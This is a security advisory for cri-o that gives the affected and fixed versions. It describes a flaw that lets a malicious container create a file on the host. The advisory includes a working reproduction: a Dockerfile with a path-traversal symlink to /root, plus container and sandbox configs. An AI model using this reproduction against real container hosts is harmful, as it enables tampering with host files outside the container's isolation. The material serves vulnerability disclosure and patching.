GHSA-j9hf-98c3-wrm8 malicious container creates symlink "mtab" on the host External

• Go github.com/cri-o/cri-o: >= 1.28.6, < 1.28.7 → fixed in 1.28.7 • Go github.com/cri-o/cri-o: >= 1.29.4, < 1.29.5 → fixed in 1.29.5 • Go github.com/cri-o/cri-o: >= 1.30.0, < 1.30.1 → fixed in 1.30.1

Impact A malicious container can affect the host by taking advantage of code cri-o added to show the container mounts on the host. A workload built from this Dockerfile: ``` FROM docker.io/library/busybox as source RUN mkdir /extra && cd /extra && ln -s ../../../../../../../../root etc FROM scratch COPY --from=source /bin /bin COPY --from=source /lib /lib COPY --from=source /extra . ``` and this container config: ``` { "metadata": { "name": "busybox" }, "image":{ "image": "localhost/test" }, "command": [ "/bin/true" ], "linux": { } } ``` and this sandbox config ``` { "metadata": { "name": "test-sandbox", "namespace": "default", "attempt": 1, "uid": "edishd83djaideaduwk28bcsb" }, "linux": { "security_context": { "namespace_options": { "network": 2 } } } } ``` will create a file on host `/host/mtab` Patches 1.30.1, 1.29.5, 1.28.7 Workarounds Unfortunately not References _Are there any links users can visit to find out more?_